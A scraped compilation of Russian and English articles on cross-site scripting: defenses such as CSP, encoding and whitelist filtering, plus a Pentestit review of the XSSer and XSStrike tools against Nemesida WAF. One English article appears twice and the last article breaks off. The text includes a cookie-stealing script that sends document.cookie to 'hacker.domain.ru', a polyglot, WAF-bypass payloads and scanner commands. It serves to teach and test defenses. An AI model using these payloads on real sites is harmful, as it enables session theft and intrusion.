В некоторых браузерах (Chrome например) есть простая защита от XSS (XSS Auditor). Chrome при загрузке страницы проверяет все находящиеся в ней скрипты и сравнивает с URL. Если JS-код совпадает с строкой из URL, то он вырезается и не выполняется (эта защита сработала бы в первом примере, где хакер внедрил тег <script> с кодом на страницу через параметр в строке запроса). Однако эта система защищает не от 100% атак, а только от части случаев и иногда обходится. Потому ты не должен на нее полагаться. Информация: http://habrahabr.ru/post/143022/ (хабр)
Content-Security-Policy
Новые браузеры поддерживают специальный заголовок Content-Security-Policy, который определяет какие скрипты (а также CSS файлы и файлы плагинов вроде флеш-роликов) и из каких источников можно подключать на странице. Если убрать весь JS-код в внешние скрипты, размещенные на сервере, и запретить в этом заголовке выполнять скрипты с чужих сайтов и unsafe-inline (скрипты, вписанные в страницу, а также атрибуты-обработчики вроде onclick), то вы сможете добавить дополнительную защиту своему сайту от большинства XSS. Также, браузер будет отправлять отчеты в формате JSON о попытках нарушить эти ограничения. Вот статьи, но учтите, что они могут быть сложными для начинающего:
- http://habrahabr.ru/company/yandex/blog/206508/
- https://xakep.ru/2013/12/23/61798/
- https://developer.mozilla.org/ru/docs/Web/Security/CSP
Сложный случай: вывод HTML-кода
Иногда есть ситуации, когда надо разрешить пользователю выводить на сайте HTML-код. Ну например, если мы разрабатываем блог и хотим, чтобы пользователи могли публиковать текст с заголовками, картинками, ссылками, то есть со сложным форматированием. htmlspecialchars тут не поможет, так как она просто превратит все теги в обычный текст.
Тут есть 2 пути решения:
1. Придумать какую-то разметку, которая позже преобразуется в HTML-код. Пример такой разметки — Markdown. Для неё написаны библиотеки, преобразующие текст с разметкой в HTML-код. Например, текст вида
Превращается в HTML-код
Hello, <strong>world</strong>
Минусы этого подхода:
- пользователям надо изучить язык разметки, нельзя просто использовать WYSIWYG-редактор
- нужно тщательно проверить библиотеку конвертации Markdown в HTML, что в ней нет никаких способов ввести потенциально опасные HTML-теги вроде
<script>. Зачастую такая возможность есть.
2. Использовать фильтр HTML-кода, который пропускает только теги и атрибуты из разрешенного белого списка, а также проверяет все ссылки (если они разрешены) на то, что в них используются разрешенные протоколы (чтобы, например ссылка вида data://… не прошла).
Есть много готовых библиотек с такими возможностями, но нужно внимательно смотреть на принцип их работы. Если библиотека использует регулярные выражения для фильтрации кода — с большой вероятностью, найдется конструкция, с помощью которой ее можно обойти, так как регулярными выражениями почти невозможно разобрать все аспекты HTML-кода. Правильно написанная библиотека разбирает HTML-код, преобразует его в дерево DOM, для работы с которым в PHP есть расширение DOM. Затем библиотека обходит полученное дерево, проверяя каждый тег, атрибут и ссылку на соответствие белому списку и удаляет те, что не разрешены. Затем дерево преобразуется обратно в HTML-код.
При использовании фильтра мы можем дать пользователю стандартный WYSIWYG-редактор (список таких редакторов: https://github.com/cheeaun/mooeditable/wiki/Javascript-WYSIWYG-editors (англ.)). Редактор отправляет текст с форматированием на сервер в виде HTML-кода, который на сервере очищается с помощью библиотеки-фильтра.
Пример хорошей библиотеки-фильтра, использующей DOM: http://htmlpurifier.org/ (англ.)
Повторим еще раз
- Выводим данные только через
htmlspecialchars - Проверяем протокол в ссылках, пришедших от пользователей
- Используем httpOnly куки
Дополнительное чтение (на русском)
- http://html5sec.org/ (содержит примеры различных способов выполнить скрипт на странице)
- http://habrahabr.ru/post/143259/
- http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://archive-ipq-co.narod.ru
XSS or Cross-Site Scripting is a web application vulnerability that allows an attacker to inject vulnerable JavaScript content into a website. An attacker exploits this by injecting on websites that doesn’t or poorly sanitizes user-controlled content. By injecting vulnerable content a user can perform (but not limited to),
- Cookie Stealing.
- Defacing a website.
- Bypassing CSRF Protection etc.,
There are multiple ways by which a web application can protect itself from Cross-Site Scripting issues. Some of them include,
- Blacklist filtering.
- Whitelist filtering.
- Contextual Encoding.
- Input Validation.
- Content Security Policy.
1. Blacklist filtering
It is easy to implement a filtering technique that protects the website from XSS issues only partially. It works based on a known list of finite XSS vectors. For example, most XSS vectors use event listener attributes such as onerror, onmouseover, onkeypress etc., Using this fact, users given HTML attributes can be parsed and these event listeners attributes. This will mitigate a finite set of XSS vectors such as <img src=x onerror=alert()>.
For vectors like <a href=”javascript:alert()”>XSS</a>, one may remove javascript:, data:, vbscript: schemes from user given HTML.
Advantages:
- These filters are easy to implement in a web application.
- Almost zero risk of false positives of safe user content being filtered by these filter
Disadvantages:
But this filtering can be easily bypassed as XSS vectors are not finite and cannot be maintained so. Here is the list of some valid bypasses of this filter. This filtering doesn’t protect the website completely.
- <a href=”jAvAscRipt:alert()”>XSS</a>
- <a href=”jAvAs cRipt:alert()”>XSS</a>
- <a href=”jAvAscRipt:prompt()”>XSS</a>
2. Whitelist Filtering
Whitelist filtering is the opposite of blacklist based filtering. Instead of listing out unsafe attributes and sanitizing user HTML with this list, whitelist filtering lists out a set of set HTML tags and attributes. Entities that are known to be sure safe are maintained and everything else will be filtered out.
This reduces XSS possibilities to the maximum extent and opens up XSS only when there is a loophole in the filter itself that treats some unsafe entities as safe. This filtering can be done both in the Client and server-side. Whitelist filtering is the most commonly used filter in modern web applications.
Advantages:
- Reduces XSS possibilities to a very good extent.
- Some whitelist filters like the Antisamy filter rewrite User content with Safe rules. These causes rewriting of HTML content with strict standards of HTML language.
Disadvantages:
More often this works by accepting unsafe or unsanitized HTML, parses them and constructs a safe HTML, and responds back to the user. This is performance intensive. Usage of these filters heavily may have a hidden performance impact on your modern web application.
3. Contextual Encoding
The other common mitigation technique is to consider all user given data as textual data and not HTML content, even if it is an HTML content. This can be done performing HTML entity encoding on user data. Encoding <h1>test</h1> may get converted to <pre><test> test </></pre> The browser will then parse this correctly and render <h1>test</h1> as text instead of rendering it as h1 HTML tag.
Advantages:
If done correctly, contextual encoding eliminates XSS risk completely.
Disadvantages:
It treats all user data as unsafe. Thus, irrespective of the user data being safe or unsafe, all HTML content will be encoded and will be rendered as plain text.
4. Input Validation
In the Input validation technique, a regular expression is applied for every request parameter data i.e., user-generated content. Only if the content passes through a safe regular expression, it is then allowed. Otherwise, the request will be failed on the server-side with 400 response code.
Advantages:
Input validation not only reduces XSS but protects almost all vulnerabilities that may arise due to trusting user content.
Disadvantages:
- It might be possible to mitigate an XSS in the phone number field by having a numeric regular expression validation but for a name field, it might not be possible as names can be in multiple languages and can have non-ASCII characters in Greek or Latin alphabets.
- Regular expression testing is performance intensive. All parameters in all requests to a server must be matched against a regular expression.
5. Content Security Policy
The modern browser allows using of CSP or Content Security Policy Headers. With these headers, one can specify a list of domains only from which JavaScript content can be loaded. If the user tries to add a vulnerable JavaScript, CSP headers will block the request.
Advantages:
CSP is the most advanced form of XSS protection mechanism. It eliminates untrusted sources to enter data to websites in any form.
Disadvantages:
To have CSP headers defined, websites must not use inline JavaScript code. JS should be externalized and referred to in script tags. These set of domains that loads static content must be whitelisted in CSP headers.
Encoding Vs Filtering –
One common question on mitigating XSS is deciding whether to encode or filter(sanitize) user data. When user-driven content must be rendered as HTML but if javascript shouldn’t execute, the content must pass through a filter. If user data need not be rendered as HTML and if textual rendering would suffice, then it is recommended to HTML encode characters in user data.
Recommended Mitigation Technique For XSS –
Blacklist filter has been exploited multiple times and owing to continuously growing HTML content, it is always unsafe to use Blacklist filter. Though proper input validation and CSP headers might mitigate XSS to a good extent, it is always recommended to entity encode or filter based on whitelist policy based on the use case. Input validation and CSP headers can be added as an extra layer of protection.
Reference – https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
XSS or Cross-Site Scripting is a web application vulnerability that allows an attacker to inject vulnerable JavaScript content into a website. An attacker exploits this by injecting on websites that doesn’t or poorly sanitizes user-controlled content. By injecting vulnerable content a user can perform (but not limited to),
- Cookie Stealing.
- Defacing a website.
- Bypassing CSRF Protection etc.,
There are multiple ways by which a web application can protect itself from Cross-Site Scripting issues. Some of them include,
- Blacklist filtering.
- Whitelist filtering.
- Contextual Encoding.
- Input Validation.
- Content Security Policy.
1. Blacklist filtering
It is easy to implement a filtering technique that protects the website from XSS issues only partially. It works based on a known list of finite XSS vectors. For example, most XSS vectors use event listener attributes such as onerror, onmouseover, onkeypress etc., Using this fact, users given HTML attributes can be parsed and these event listeners attributes. This will mitigate a finite set of XSS vectors such as <img src=x onerror=alert()>.
For vectors like <a href=”javascript:alert()”>XSS</a>, one may remove javascript:, data:, vbscript: schemes from user given HTML.
Advantages:
- These filters are easy to implement in a web application.
- Almost zero risk of false positives of safe user content being filtered by these filter
Disadvantages:
But this filtering can be easily bypassed as XSS vectors are not finite and cannot be maintained so. Here is the list of some valid bypasses of this filter. This filtering doesn’t protect the website completely.
- <a href=”jAvAscRipt:alert()”>XSS</a>
- <a href=”jAvAs cRipt:alert()”>XSS</a>
- <a href=”jAvAscRipt:prompt()”>XSS</a>
2. Whitelist Filtering
Whitelist filtering is the opposite of blacklist based filtering. Instead of listing out unsafe attributes and sanitizing user HTML with this list, whitelist filtering lists out a set of set HTML tags and attributes. Entities that are known to be sure safe are maintained and everything else will be filtered out.
This reduces XSS possibilities to the maximum extent and opens up XSS only when there is a loophole in the filter itself that treats some unsafe entities as safe. This filtering can be done both in the Client and server-side. Whitelist filtering is the most commonly used filter in modern web applications.
Advantages:
- Reduces XSS possibilities to a very good extent.
- Some whitelist filters like the Antisamy filter rewrite User content with Safe rules. These causes rewriting of HTML content with strict standards of HTML language.
Disadvantages:
More often this works by accepting unsafe or unsanitized HTML, parses them and constructs a safe HTML, and responds back to the user. This is performance intensive. Usage of these filters heavily may have a hidden performance impact on your modern web application.
3. Contextual Encoding
The other common mitigation technique is to consider all user given data as textual data and not HTML content, even if it is an HTML content. This can be done performing HTML entity encoding on user data. Encoding <h1>test</h1> may get converted to <pre><test> test </></pre> The browser will then parse this correctly and render <h1>test</h1> as text instead of rendering it as h1 HTML tag.
Advantages:
If done correctly, contextual encoding eliminates XSS risk completely.
Disadvantages:
It treats all user data as unsafe. Thus, irrespective of the user data being safe or unsafe, all HTML content will be encoded and will be rendered as plain text.
4. Input Validation
In the Input validation technique, a regular expression is applied for every request parameter data i.e., user-generated content. Only if the content passes through a safe regular expression, it is then allowed. Otherwise, the request will be failed on the server-side with 400 response code.
Advantages:
Input validation not only reduces XSS but protects almost all vulnerabilities that may arise due to trusting user content.
Disadvantages:
- It might be possible to mitigate an XSS in the phone number field by having a numeric regular expression validation but for a name field, it might not be possible as names can be in multiple languages and can have non-ASCII characters in Greek or Latin alphabets.
- Regular expression testing is performance intensive. All parameters in all requests to a server must be matched against a regular expression.
5. Content Security Policy
The modern browser allows using of CSP or Content Security Policy Headers. With these headers, one can specify a list of domains only from which JavaScript content can be loaded. If the user tries to add a vulnerable JavaScript, CSP headers will block the request.
Advantages:
CSP is the most advanced form of XSS protection mechanism. It eliminates untrusted sources to enter data to websites in any form.
Disadvantages:
To have CSP headers defined, websites must not use inline JavaScript code. JS should be externalized and referred to in script tags. These set of domains that loads static content must be whitelisted in CSP headers.
Encoding Vs Filtering –
One common question on mitigating XSS is deciding whether to encode or filter(sanitize) user data. When user-driven content must be rendered as HTML but if javascript shouldn’t execute, the content must pass through a filter. If user data need not be rendered as HTML and if textual rendering would suffice, then it is recommended to HTML encode characters in user data.
Recommended Mitigation Technique For XSS –
Blacklist filter has been exploited multiple times and owing to continuously growing HTML content, it is always unsafe to use Blacklist filter. Though proper input validation and CSP headers might mitigate XSS to a good extent, it is always recommended to entity encode or filter based on whitelist policy based on the use case. Input validation and CSP headers can be added as an extra layer of protection.
Reference – https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Информационная безопасность, Тестирование веб-сервисов
Рекомендация: подборка платных и бесплатных курсов Python — https://katalog-kursov.ru/
XSS (Cross Site Scripting) — один из самых популярных видов веб-уязвимостей, позволяющий производить внедрение вредоносного кода в отдаваемую веб-приложением страницу. Атаки с использованием XSS-вектора позволяют внедрять на страницу произвольное содержимое, перехватывать cookie и сессии других пользователей, получать доступ в закрытые разделы сайта и даже привилегии администратора веб-ресурса.
Существует несколько видов XSS:
-
Хранимые. Вредоносный код сохраняется на сервере и загружается с него каждый раз, когда пользователи запрашивают отображение той или иной страницы. Чаще всего проявляются там, где пользовательский ввод не проходит фильтрацию и сохраняется на сервере: форумы, блоги, чаты, журналы сервера и т.д.
Например, скрипт <img src=»http://exmple.com/»>, оставленный на странице сайта с очень высокой посещаемостью, может спровоцировать DDoS-атаку на указанный веб-ресурс.
-
Отображаемые. Вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю.
Например, при переходе пользователем по ссылке: http://example.com/q=<a href=’a’ onmouseover=alert(‘XSS’) style=’font-size:500px’> на странице отобразится гиперссылка, при наведении на которую выполнится скрипт alert(‘XSS’). Но для этого необходимо каким-то образом (например, с использованием социальной инженерии) заставить пользователя ввести эту ссылку в адресной строке.
-
XSS в DOM-модели. Представляет собой вариант как хранимой, так и отображаемой XSS-атаки. В данном случае вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится.
С разбором реальной атаки через XSS на сайт под управлением WordPress можно ознакомиться в статье: Атака на сайт с WordPress через JavaScript и XSS
Как работает XSS
Предположим, что мы разработали веб-приложение, содержащее следующий код:
<title>Example XSS</title>
<h1 id="greeting">Hello there!</h1>
<script>
var name = new URLSearchParams(document.location.search).get('name');
if (name !== 'null') {
document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';
}
</script>
При его выполнении на странице будет отображаться приветствие «Hello !«. Однако, если добавить что-нибудь через параметр name, например «Pentestit», то приветствие изменится на «Hello Pentestit!«. Но если в этот параметр добавить нагрузку в виде <img+src+onerror=alert(‘XSS’)>, то произойдет обработка скрипта.
Статья носит информационный характер. Не нарушайте законодательство.
XSS имеют различные вариации, например, сообщение на форуме с текстом <script>alert(‘XSS’)</script> поместит скрипт на странице, и любой пользователь, который посетит ее, вызовет обработку этого скрипта браузером. Но это сработает в том случае, если нет никакой фильтрации пользовательского ввода. Если фильтрация присутствует, хотя бы на закрывающиеся теги, то подобная конструкция уже не сработает. В таком случае скрипт необходимо немного видоизменить, разместив его, например, в тегах <img>, <iframe> и им подобных, то есть в тех, которые не требуется закрывать. Например:
<img src=http://example.com/image.png onerror=alert('XSS')>
Тег <img> отвечает за загрузку картинки на страницу, и при указании адреса, откуда ее загружать, добавляется обработчик событий, который активируется в случае успеха или ошибки при загрузке. В данном случае при ошибке загрузки картинки с ресурса example.com сработает обработчик событий onerror, который запустит скрипт alert(‘XSS’). Вариаций использования обработчиков событий также довольно много: onload, onerror, onmouseover и т.д. Но помимо безопасной конструкции <script>alert(‘XSS’)</script> злоумышленник может написать скрипт, который будет передавать ему на удаленный сервер cookie всех пользователей, посетивших страницу.
<script>var s=document.location; if (String(s).indexOf('iC')<0){document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}</script>
Есть и так называемые «слепые» XSS (blind XSS) — это вариант хранимой XSS. Суть их работы заключается в том, что злоумышленник не сможет сразу увидеть результат, или результат работы пейлоада будет выводиться, например, на какой-то другой странице, вроде формы обратной связи или публикации отзывов с предварительной модерацией сообщений. Прислав в тексте сообщения скрипт, злоумышленник не увидит никакой реакции от веб-приложения, однако на стороне администратора или модератора сервиса скрипт отработает, вызвав написанную злоумышленником функцию. Если рассматривать данный вид атаки в контексте примера XSS с кражей cookie, то в таком случае администратор, ничего не успев понять, передаст их злоумышленнику.
Главная проблема поиска blind XSS в том, что необходимо учитывать множество контекстов, в которых может выполняться код, например, внутри одинарных или двойных кавычек, различных атрибутов и т.д. Для примера возьмем один и тот же пейлоад и посмотрим, в каких контекстах он может находиться. Исходный пейлоад опять же будет простым <script>alert(context)</script>.
Его можно доработать, чтобы он выполнился также и в других контекстах. Для этого нужно будет подстроиться под них:
-
‘><script>alert(context)</script> — вышли за пределы атрибута в одинарных кавычках;
-
‘»><script>alert(context)</script> — вышли за пределы атрибута в одинарных и двойных кавычках;
-
—>'»><script>alert(context)</script> — вышли также за пределы HTML-комментария;
-
</textarea>—>'»><script>alert(context)</script> — вышли за пределы элемента textarea;
-
</style></textarea>—>'»><script>alert(context)</script> — вышли за пределы элемента style.
Проверить эти параметры может помочь использование XSS-полиглотов, которые учитывают различные контексты, например:
javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression(/*’/-/*',/**/eval(name)//);width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"
Такой пейлоад должен выполниться в любом контексте, то есть его можно поместить в любой параметр и не беспокоиться о том, в какой участок кода он попадет.
Существует довольно много пейлоадов-полиглотов, их можно взять из SecLists или тут.
Если подойти к вопросу в контексте безопасности, то использование только сигнатурного анализа в WAF для фильтрации пользовательских данных позволяет выполнить «обход», используя альтернативный метод выполнения сценария. Например, вместо <script>alert(‘XSS’)</script> использовать конструкцию <a onmouseover=»alert(‘XSS’)»>xss link</a> для создания ссылки, при наведении на которую сработает обработчик событий onmouseover, выполнив скрипт. Если фильтруется ввод закрывающих тегов, то можно перейти на теги, которые не требуется закрывать, например <img>. Если WAF блокирует и закрывающие теги, и теги типа <img>, то можно попробовать тег body: <BODY ONLOAD=alert(‘XSS’)>
Еще один вариант обхода блокировки WAF – методы обфускации пейлоада. Например, используя URL-Encode стандартный пейлоад <script>alert(XSS)</script>, можно превратить в %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E.
Для автоматизации поиска и эксплуатации XSS-уязвимостей существуют специальные инструменты (фреймворки), такие как XSSer или XSStrike, оба являются бесплатными.
XSSer
Cross Site «Scripter» (также известный как XSSer) – это автоматический фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Содержит несколько опций для обхода определенных фильтров и специальные техники внедрения кода.
Ключевые особенности инструмента:
-
возможность создания изображений или видеофайлов с XSS-пейлоадом для дальнейшей загрузки в веб-приложение;
-
поиск для внедрения XSS с помощью Google Dorks запросов;
-
проверка наличия XSS-фильтров у целевого веб-приложения;
-
опция генерации пейлоада для попыток обхода систем WAF;
-
выявление Blind XSS.
Установка
Для установки инструмента можно воспользоваться deb-пакетом с официального сайта https://xsser.03c8.net/, либо на github скачать скрипт установки.
Инструкция
-
apt install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi
-
git clone https://github.com/epsylon/xsser.git
-
cd xsser
-
python3 setup.py install
Использование
Использование ключей для составления запроса
Для вызова справки по командам вводим xsser -h. Команда xsser —update обновит инструмент до актуальной версии, а xss —gtk запустит графический интерфейс, но об этом чуть позже.
Стандартная команда для проверки XSS выглядит так:
# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit"
# xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"
-
-u — URL для проверки;
-
-g/-p — параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.
Опции для настройки запроса
-
—crawler — поиск всех страниц веб-приложения для дальнейшего анализа;
-
—cookie — изменить заголовок HTTP Cookie;
-
—user-agent — изменить заголовок HTTP User-Agent;
-
—referer — использовать другой заголовок HTTP Referer;
-
—header — добавить новые заголовки;
-
—payload — использование определенного пейлоада для тестирования XSS. Если конкретный пейлоад не требуется, то можно указать параметр —auto для их автоматической генерации;
-
—checkaturl — проверить ответ, используя альтернативный URL. Параметр необходим для проверки Blind XSS.
Использование графического интерфейса
Для любителей графического интерфейса существует команда xsser —gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей.
И сразу лайфхак: указывая параметры URL, data, payloads и т.д., их необходимо обязательно заключать в кавычки подобно написанию в консоли. В графическом интерфейсе, видимо, не подразумевалась данная функция по умолчанию.
Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте:
-
обычный режим — пользователь сам выбирает параметры для составления запроса;
-
мастер запросов — интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д.
С мастером настройки особых проблем возникать не должно. Главное — четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме.
При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах:
Connection
Основной раздел составления запроса.
Параметры
-
метод используемых запросов (GET или POST);
-
прокси, если необходимо;
-
изменение заголовков User-Agent, Cookie, Referer, Headers (добавление новых заголовков);
-
дополнительно можно указать параметры игнорирования заголовков параметром drop-cookie, следование за редиректами с помощью опции follow-redirects и HTTP аутентификацию.
Cheker
Проверка доступности хоста и настройка проверки Blind XSS.
Параметры
-
HEAD cheker — отправка запроса перед тестированием для проверки того, жив ли тестируемый хост и отвечает ли на запросы. Ожидает ответ от сервера 200 или 302;
-
Blind XSS URL — альтернативный URL-адрес для проверки «слепой» XSS;
-
Blind XSS payload — альтернативный пейлоад для проверки «слепой» XSS;
-
Reverse checker — параметр установки обратного соединения с XSSer для подтверждения уязвимости;
-
Discard Cheker — установка кода ответа от веб-приложения для прекращения атак.
Vectors
Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.
Anti-antiXSS
Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент.
Bypasser
Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.
Параметры
-
—Str — Использовать метод String.FromCharCode ();
-
—Une — Использовать функцию Unescape ();
-
—Dec — Использовать десятичное кодирование;
-
—Hex — Использовать шестнадцатеричное кодирование;
-
—Doo — Кодировать IP-адрес с помощью восьмеричного числа и т.д;
-
—Cem — Использовать несколько методов кодировки.
Technique
Различные техники внедрения пейлоада.
Параметры
-
—Coo — Внедрение межсайтового скриптинга в Cookie;
-
—Xsa — Внедрение межсайтового скриптинга User-Agent;
-
—Xsr — Внедрение межсайтового скриптинга в Referer;
-
—Dom — Внедрение межсайтового скриптинга в DOM-модель и так далее.
Exploit
Специальные методы выполнения инъекций.
Параметры
-
—B64 — кодировка кода с помощью Base64 в теге META;
-
—Onm — использовать событие onMouse();
-
—Ifr — использовать исходный тег <iframe>;
-
—DoS — отказ в обслуживании через XSS (клиент/сервер).
После указания всех параметров можно нажать на главном окне кнопку «Fly» для выполнения атаки или кнопку «Aim» для генерации консольной команды.
Тестирование
Проверка автоматической генерации пейлоадов
Набор пейлоадов, которые предлагает XSSer, находится в файле ./core/fuzzing/vectors.py и записан в виде JSON. Сам список имеет вид:
{ ‘payload’:»»»<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>»»»,’browser’:»»»Not Info»»»}
Если сравнивать с XSStrike, то у него было несколько наборов:
-
базовые теги (img, iframe и т.д.)
-
обработчики событий (onload, onerror, onmouseover и т.д.)
-
функции (например confirm()) и т.д.
В процессе генерации все эти наборы совмещались друг с другом и получался объемный список пейлоадов. Но в XSSer оказалось, что параметр —auto отвечает лишь за использование уже существующего словаря, который, разумеется, можно расширить.
Во время тестирования все применяемые пейлоады кодируются в URL-Encode, а результаты автоматически записываются в текущей папке в файл XSSreport.raw, если не указано иное.
Проверка поиска уязвимых сайтов для XSS средствами Google Dork
Данная функция позволяет инструменту проводить поиск уязвимых страниц в Интернете, используя GoogleDork-запросы. В процессе поиска XSSer будет искать страницы по указанным критериям и, если найдет, отправит пейлоад для проверки наличия XSS-уязвимости. В самом простом случае запрос может выглядеть так:
# xsser --De "duck" -d "search.php?q="
где:
—De — поисковой движок (DuckDuckGo, Yahoo, Bing)
-d — содержимое GoogleDork-запроса
Сама задумка данной функции понятна — поиск уязвимых страниц с помощью продвинутого поискового движка, но из-за того, что при ее использовании атакуются сторонние ресурсы в Интернете, не совсем понятно, зачем она была добавлена.
XSStrike
XSStrike — это пакет обнаружения XSS, оснащенный четырьмя рукописными синтаксическими анализаторами, интеллектуальным генератором полезной нагрузки, мощным механизмом фаззинга и быстрым сканером. Он распознаёт ответ с помощью нескольких анализаторов и затем обрабатывает полезные данные, которые гарантированно будут работать с помощью контекстного анализа, интегрированного в механизм фаззинга.
Возможности:
-
фаззинг;
-
технология взлома контекста;
-
интеллектуальная генерация пэйлоадов;
-
поддержка методов GET & POST;
-
поддержка файлов cookie;
-
обнаружение WAF;
-
пэйлоады ручной работы для фильтрации и WAF-уклонения;
-
скрытое обнаружение параметров.
Основные параметры
-u — URL для проверки на уязвимости;
—data — позволяет работать с POST-запросами;
—skip — позволяет пропустить вопрос о применении того или иного пейлоада;
—params — поиск потенциально уязвимых параметров;
—fuzzer — позволяет запустить фаззинг параметров, указанных в URL;
—crawl — сканирует все доступные страницы сайта и показывает те, которые подвержены XSS;
—headers — передача запросов с необходимыми заголовками, например, User-Agent или Cookie.
Пример:
# python3 xsstrike.py -u "http://example.com" --crawl
# python3 xsstrike.py -u "http://example.com" --data "login=admin&password=admin&submit"
Более подробно про XSStrike на русском можно прочитать здесь.
Тестирование обхода WAF. XSSer vs XSStrike
# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1"
Здесь указан URL, параметры POST-запроса, использование заготовленного словаря с пейлоадами и задержка в 1 секунду между запросами.
При использовании XSSer со стандартным набором пейлоадов, Nemesida WAF Free заблокировал все атаки, за исключением направленных на старые версии браузеров (например, Internet Explorer 6). Также не были заблокированы запросы, не преставляющие собой реальную атаку, например:
-
<xml id=»X»><a><b>955c5ecb3ac1e7ef80ab181ca5d5c7d9;<b></a></xml>
-
<DIV STYLE=»width: expression(c5d576195e3d738adcfb2e1f10019443);»>
-
<LINK REL=»stylesheet» HREF=»bdde8029cb7599bd5601cb739bab6590″>
Есть символы, используемые в атаках, но отдельно не являющиеся опасными. Их блокировка потенциально может привести к ложным срабатываниям. В Nemesida WAF Free мы разрабатываем качественные сигнатуры для снижения количества ложных срабатываний.
Попытки обхода средств защиты также не дали дополнительных результатов при применении любого из доступных в инструменте методов кодирования пейлоадов.
# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Hex
Дополнительно применялась мультикодировка —Cem:
# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Cem "Str, Hex"
В этом случае пейлоад будет по очереди закодирован сначала в String.FromCharCode () (Str), после чего полученная строка будет закодирована в шестнадцатиричный код (Hex). Кодировок можно добавлять и больше, но это будет прямо пропорционально влиять на скорость проверки.
Если сравнивать эффективность XSStrike и XSSer, то мы, скорре, отдадим предпочтение последнему. Хотя в XSStrike есть функция преобразования полезной нагрузки в base64:
# python3 xsstrike -u "http://example.com/xss.php" --data "login=&password1=&enter=Submit+Query" --skip -e b64
Параметр —data отвечает за содержимое тела POST-запроса, —skip позволяет пропустить проверку перед применением пейлоадов, а -e устанавливает кодировку пейлоадов.
Проблемы сигнатурного анализа
Не стоит забывать, что злоумышленник может легко получить список сигнатур и на его основе попытаться обойти WAF. Для таких случаев в Nemesida WAF применяется модуль машинного обучения, который позволяет усложнить попытки обхода сигнатурного метода. Для наглядности мы провели 2 теста — попытки обхода бесплатной версии Nemesida WAF (только сигнатурный анализ) и полной версии Nemesida WAF с применением машинного обучения (используя реальные модели). В качестве инструмента использовали waf-bypass и вот, что получили:
Nemesida WAF Free (только сигнатурный анализ)

Nemesida WAF (с применением машинного обучения)

При использовании инструмента XSStrike все атаки на веб-приложение также были заблокированы, даже с учетом попыток обхода защиты по умолчанию.
# python3 xsstrike -u "http://sites.vulns.pentestit.ru/xss.php" --data "login=&password1=&enter=Submit+Query" --skip
Вывод
XSS являются крайне опасными уязвимостями, которые могут навредить, в первую очередь, пользователям. Поэтому предлагаем небольшой список рекомендаций для защиты от них:
-
Кодирование входных данных: с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class и т.д.;
-
Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение: с использованием как рассмотренных XSSer и XSStrike, так и с Wapiti, Nikto Web Scanner или Acunetux;
-
Использование Nemesida WAF (хотя бы Free версию);
-
И, наконец, регулярно устанавливать обновления (и, если серьезно заморочиться, использовать расширения, предотвращающие запуск XSS-сценариев на странице).
Nemesida WAF доступен в виде установочных пакетов для популярных Linux-систем: Debian, CentOS и Ubuntu. Быстрый стар для тех, кто уже познакомился с продуктом, занимает порядка 5-7 минут. Инструкция по установке доступна по ссылке.
По завершении настроек атаки будут отображаться в личном кабинете (также устанавливается локально), демонстрационной стенд размещен по адресу demo.lk.nemesida-security.com (demo@pentestit.ru/pentestit).
Оставайтесь здоровыми и защищенными.
Межсайтовый скриптинг (XSS), являясь одной из наиболее распространенных угроз кибербезопасности, атаковал почти 75% крупных компаний еще в 2019 году. Более того, почти 40% всех кибератак были совершены с целью нацеливания на XSS-уязвимости.
Межсайтовый скриптинг затронул веб-сайты таких гигантов, как eBay, Google, Facebook и Twitter. Но межсайтовый скриптинг – не новая киберугроза. Фактически, XSS-атаки существуют почти с момента зарождения самой сети.
Чтобы помочь вам предотвратить атаки XSS, это руководство сосредоточено на всем, что вам нужно знать о межсайтовых сценариях. Прочитав это руководство, вы получите лучшее представление о том, как работает межсайтовый скриптинг и как защитить свой сайт WordPress.
Что такое межсайтовый скриптинг (XSS)?
Межсайтовый скриптинг (XSS) относится к типу кибератак, при котором вредоносные скрипты внедряются на заслуживающие доверия и доверенные сайты.
